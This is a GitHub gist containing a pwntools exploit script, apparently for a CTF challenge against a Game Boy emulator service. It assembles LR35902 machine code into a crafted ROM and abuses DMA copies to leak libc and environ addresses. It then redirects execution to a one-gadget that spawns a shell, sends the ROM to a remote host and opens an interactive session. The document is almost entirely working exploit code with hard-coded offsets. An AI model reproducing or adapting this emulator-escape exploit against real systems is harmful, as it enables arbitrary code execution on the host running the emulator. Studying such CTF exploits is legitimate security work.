Skip to content

Instantly share code, notes, and snippets.

@kokjo
Created April 23, 2017 21:19
Show Gist options
  • Save kokjo/44466fc6e3f224d8b70804a90e5baae3 to your computer and use it in GitHub Desktop.
Save kokjo/44466fc6e3f224d8b70804a90e5baae3 to your computer and use it in GitHub Desktop.
Please don't judge!
from pwn import *
def ld_c(num): return [0x0e, num & 0xff]
def ld_a(num): return [0x3e, num & 0xff]
def ld_l(num): return [0x2e, num & 0xff]
def ld_h(num): return [0x26, num & 0xff]
def ld_ff_c_a(): return [0xe2]
def set_iomem(reg, val): return ld_c(reg & 0xff) + ld_a(val) + ld_ff_c_a()
def ld_a_hl_inc(): return [0x2a]
def adc_a_hl(): return [0x8e]
def inc_hl(): return [0x23]
def ld_a_bc(): return [0x0a]
def ld_a_de(): return [0x1a]
def ld_de_a(): return [0x12]
def ld_b_a(): return [0x47]
def ld_l_a(): return [0x6f]
def dec_l(): return [0x2d]
def dec_h(): return [0x25]
def adc_a_b(): return [0x88]
def add_a_b(): return [0x80]
def add_a_l(): return [0x85]
def adc_a_l(): return [0x8d]
def inc_bc(): return [0x03]
def inc_de(): return [0x13]
def ld_bc_a(): return [0x02]
def ld_hl(val): return [0x21, val & 0xff, val >> 8]
def ld_hl_imm(val): return [0x36, val & 0xff]
def ld_bc_imm(imm): return [0x01, imm & 0xff, imm >> 8]
def ld_de_imm(imm): return [0x11, imm & 0xff, imm >> 8]
def jr_nz(rel): return [0x20, rel & 0xff]
def halt(): return [0x76, 0x00]
def jmp(addr): return [0xc3, addr & 0xff, addr >> 8]
def magic1(): return [0xed]
# input: BC = ptr to 64bit int, DE = ptr to 64bit int
# output A, B, C, D, E, F garbage, and [BC] = [BC] + [DE]
def add64():
code = []
code += ld_a_bc() + ld_l_a() + ld_a_de() # A = first byte of [DE], B = first byte of [BC]
code += add_a_l() # A = A + B
code += ld_bc_a() # [BC] = A
code += inc_bc() + inc_de() # BC++ DE++
for i in range(7):
code += ld_a_bc() + ld_l_a() + ld_a_de()
code += adc_a_l() # A = A + B + carry
code += ld_bc_a() # [BC] = A
code += inc_bc() + inc_de() # BC++ DE++
return code
def add64():
code = []
code += ld_a_bc() + ld_l_a() + ld_a_de() # A = first byte of [DE], B = first byte of [BC]
code += add_a_l() # A = A + B
code += ld_bc_a() # [BC] = A
code += inc_bc() + inc_de() # BC++ DE++
code += ld_h(0x07)
loop_label = len(code)
code += ld_a_bc() + ld_l_a() + ld_a_de()
code += adc_a_l() # A = A + B + carry
code += ld_bc_a() # [BC] = A
code += inc_bc() + inc_de() # BC++ DE++
code += dec_h()
code += jr_nz(-(len(code)+2) + loop_label)
return code
def memcpy(dst, src, count):
code = []
code += ld_bc_imm(src)
code += ld_de_imm(dst)
code += ld_l(count)
loop_label = len(code)
code += ld_a_bc()
code += ld_de_a()
code += inc_bc()
code += inc_de()
code += dec_l()
code += jr_nz(-(len(code)+2) + loop_label)
return code
def set_machine_pc(addr, newpc):
code = []
code += ld_hl(addr+0x50)
code += ld_hl_imm(newpc & 0xff)
code += ld_hl(addr+0x51)
code += ld_hl_imm(newpc >> 8)
return code
def add_machine_memory(addr, const_id):
code = []
code += ld_bc_imm(addr + 0x10)
code += ld_de_imm(const_id)
code += add64()
return code
def add_machine_sprites(addr, const_id):
code = []
code += ld_bc_imm(addr + 0x18)
code += ld_de_imm(const_id)
code += add64()
return code
def breakpoint(): return [0x00] ## really a nop
code1 = [ld_c(-0x70), ld_a(0x80), magic1()]
code2 = [jmp(0x300)]
stack = 0x7fffffffe878
base = 0x0300
LIBC_BASE = 0x2000
HEAP_BASE = 0x2008
ENV_BASE = 0x2010
MAGIC_POP_SHELL_GADGET = 0xd6e77
#main = ordlist(read("../sdcc/main.bin"))
main = []
#main += breakpoint()
main += memcpy(HEAP_BASE, 0x0010, 8)
main += memcpy(0x1000, 0x0000, 0xa0)
main += memcpy(0x3000, 0x0000, 0xa0)
main += set_machine_pc(0x3000, 0x0900)
# dma copy scout
main += ld_bc_imm(0x0018)
main += ld_de_imm(0x0700)
main += add64()
main += set_iomem(0xff46, 0x08)
# dma copy machine
main += ld_bc_imm(0x0018)
main += ld_de_imm(0x0708)
main += add64()
main += set_iomem(0xff46, 0x30)
main += set_machine_pc(0x1000, 0xfd00)
main += memcpy(0x1018, 0x1010, 8)
main += add_machine_memory(0x1000, 0x0710)
main += memcpy(0x0018, 0x0010, 8)
main += set_iomem(0xff46, 0x10)
label_main_callback1 = len(main)
main += ld_bc_imm(0x0078)
main += ld_de_imm(0x0718)
main += add64()
main += memcpy(LIBC_BASE, 0x0078, 8)
main += memcpy(0x0018, LIBC_BASE, 8)
main += add_machine_sprites(0x0000, 0x0720)
main += set_iomem(0xff46, 0x08)
main += add_machine_sprites(0x0000, 0x0708)
main += set_machine_pc(0x3000, 0x0903)
main += set_iomem(0xff46, 0x30)
main += memcpy(0x1010, LIBC_BASE, 8)
main += add_machine_memory(0x1000, 0x0720)
main += add_machine_memory(0x1000, 0x0728)
main += memcpy(0x0018, 0x0010, 8)
#main += breakpoint()
main += set_iomem(0xff46, 0x10)
label_main_callback2 = len(main)
main += memcpy(ENV_BASE, 0x0078, 8)
main += memcpy(0x0018, ENV_BASE, 8)
main += ld_bc_imm(LIBC_BASE)
main += ld_de_imm(0x0738)
main += add64()
main += memcpy(0xa00+152, LIBC_BASE, 8)
main += add_machine_sprites(0x0000, 0x0730)
print hex(len(main) + 0x300)
main += breakpoint()
main += set_iomem(0xff46, 0x0a)
main += breakpoint()
main += jmp(-2)
main_data = [
p64(0x15d30), # 0x0700 -- will be added to sprites to reach where scout code will be placed
p64(0x100), # 0x0708
p64(0x15eb0), # 0x0710
p64(0xffffffffffc5a988), # offset from leaked pointer to libc base
p64(0x00000000003a7fb8+0x100), # environ offset from libc base
p64(0xffffffffffff0300),
p64((2**64) - 0x200 + 0x80 - 8), # 0x0730
p64(MAGIC_POP_SHELL_GADGET) # offset somewhere in libc!
]
# scout = breakpoint() + [0x41]*0xa0
scout = []
scout += memcpy(0xfe78, 0xfc00, 8)
#scout += breakpoint()
scout += set_iomem(0xff46, 0xfe)
callback = []
callback += jmp(label_main_callback1 + 0x300)
callback += jmp(label_main_callback2 + 0x300)
code1 = flat(code1, word_size = 8)
code2 = flat(code2, word_size = 8)
main = flat(main, word_size = 8)
#print hex(len(main) + 0x300)
print hexdump(main)
main = main.ljust(0x700-0x300)
main += flat(main_data, word_size = 8)
main = main.ljust(0x800-0x300)
main += flat(scout, word_size = 8)
main = main.ljust(0x900-0x300)
main += flat(callback, word_size = 8)
main = main.ljust(0xa00-0x300)
main += flat(cyclic(256), word_size = 8)
rom = read("APOCNOW.GB")
rom = rom[:256] + code1 + rom[256 + len(code1):]
rom = rom[:128 + len(code1)] + code2 + rom[128 + len(code1) + len(code2):]
rom = rom[:0x280] + main + rom[0x280 + len(main):]
write("DOIT.BG", rom)
#r = remote("127.0.0.1", 1337)
#r = process("./gameboy", aslr=False)
r = remote("gameboy.chal.pwning.xxx", 30908)
#gdb.attach(r, """
# set $base=0x0000555555554000
# b *($base + 0x118d)
# b *($base + 0x2CF5)
# b *($base + 0x32D4)
# c
# disable 1
# c
# enable 1
#""")
r.send(rom)
pause()
sleep(1)
r.send("q")
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment